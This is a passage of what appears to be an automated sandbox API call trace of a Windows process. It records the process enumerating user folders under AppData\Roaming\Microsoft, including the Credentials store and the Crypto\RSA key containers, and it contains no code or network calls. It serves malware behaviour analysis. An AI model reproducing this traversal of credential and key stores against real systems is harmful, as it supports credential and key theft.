fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0052.190] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.190] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.190] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.191] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.191] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0052.191] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x6090e0 [0052.191] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0052.191] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0052.191] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0052.191] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.191] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0052.191] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6090e0 | out: hHeap=0x540000) returned 1 [0052.191] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0052.191] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f18 | out: hHeap=0x540000) returned 1 [0052.191] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0052.191] lstrcmpW (lpString1="Crypto", lpString2=".") returned 1 [0052.191] lstrcmpW (lpString1="Crypto", lpString2="..") returned 1 [0052.191] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0052.191] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bf20 | out: hHeap=0x540000) returned 1 [0052.191] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcb30 [0052.191] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0052.191] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0052.192] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.192] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.192] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.192] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.192] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x681f1360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x681f1360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0052.192] lstrcmpW (lpString1="RSA", lpString2=".") returned 1 [0052.192] lstrcmpW (lpString1="RSA", lpString2="..") returned 1 [0052.192] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcbb8 [0052.192] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xbe) returned 0x55bf20 [0052.192] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcbb8 | out: hHeap=0x540000) returned 1 [0052.192] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0052.192] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608f18 [0052.192] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0052.192] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0052.192] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.192] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x681f1360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x681f1360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.193] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.193] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.193] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x681f1360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa1e34990, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e34990, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0052.193] lstrcmpW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2=".") returned 1 [0052.193] lstrcmpW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="..") returned 1 [0052.193] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0052.193] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x6090e0 [0052.193] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1610 [0052.193] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6090e0 | out: hHeap=0x540000) returned 1 [0052.193] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0052.193] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0052.193] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1708 [0052.193] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0052.194] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0052.355] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.355] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x681f1360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa1e34990, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e34990, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.356] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.356] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.356] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xa1e34990, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e34990, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e34990, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="83AA4C~1")) returned 1 [0052.356] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x681f1360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x681f1360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x681f1360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x57, dwReserved0=0x0, dwReserved1=0x0, cFileName="932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="932A2D~1")) returned 1 [0052.356] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xb0aa1fc0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0aa1fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0aa1fc0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="FDA992~1")) returned 1 [0052.356] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xb0aa1fc0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0aa1fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0aa1fc0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="FDA992~1")) returned 0 [0052.356] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1800 [0052.356] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0052.356] FindClose (in: hFindFile=0x5dada0 | out: hFindFile=0x5dada0) returned 1 [0052.357] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0052.358] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x681f1360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa1e34990, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e34990, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.358] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xa1e34990, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e34990, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e34990, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="83AA4C~1")) returned 1 [0052.358] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x681f1360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x681f1360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x681f1360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x57, dwReserved0=0x0, dwReserved1=0x0, cFileName="932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="932A2D~1")) returned 1 [0052.358] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xb0aa1fc0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0aa1fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0aa1fc0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="FDA992~1")) returned 1 [0052.358] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xb0aa1fc0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0aa1fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0aa1fc0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="FDA992~1")) returned 0 [0052.358] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f1800 | out: hHeap=0x540000) returned 1 [0052.358] FindClose (in: hFindFile=0x5dada0 | out: hFindFile=0x5dada0) returned 1 [0052.359] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f1708 | out: hHeap=0x540000) returned 1 [0052.359] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x681f1360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa1e34990, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e34990, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0052.359] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x6090e0 [0052.359] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f1610 | out: hHeap=0x540000) returned 1 [0052.359] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0052.359] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0052.359] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x681f1360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x681f1360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.359] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x681f1360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa1e34990, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e34990, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0052.359] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x681f1360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa1e34990, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e34990, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0052.359] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6090e0 | out: hHeap=0x540000) returned 1 [0052.359] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0052.359] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f18 | out: hHeap=0x540000) returned 1 [0052.359] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x681f1360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x681f1360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0 [0052.359] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcbb8 [0052.359] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xbe) returned 0x55c0b0 [0052.359] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcbb8 | out: hHeap=0x540000) returned 1 [0052.360] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bf20 | out: hHeap=0x540000) returned 1 [0052.360] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0052.360] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0052.360] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.360] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x681f1360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x681f1360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0052.360] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x681f1360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x681f1360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0 [0052.360] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55c0b0 | out: hHeap=0x540000) returned 1 [0052.360] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0052.360] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcb30 | out: hHeap=0x540000) returned 1 [0052.360] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Building Blocks", cAlternateFileName="DOCUME~1")) returned 1 [0052.360] lstrcmpW (lpString1="Document Building Blocks", lpString2=".") returned 1 [0052.360] lstrcmpW (lpString1="Document Building Blocks", lpString2="..") returned 1 [0052.360] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x5eb960 [0052.360] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcb30 [0052.360] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xbe) returned 0x55c0b0 [0052.360] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcb30 | out: hHeap=0x540000) returned 1 [0052.360] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcaa8 | out: hHeap=0x540000) returned 1 [0052.360] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0052.360] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559d10 [0052.360] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0052.360] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0052.361] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.361] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.361] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.361] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.361] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: 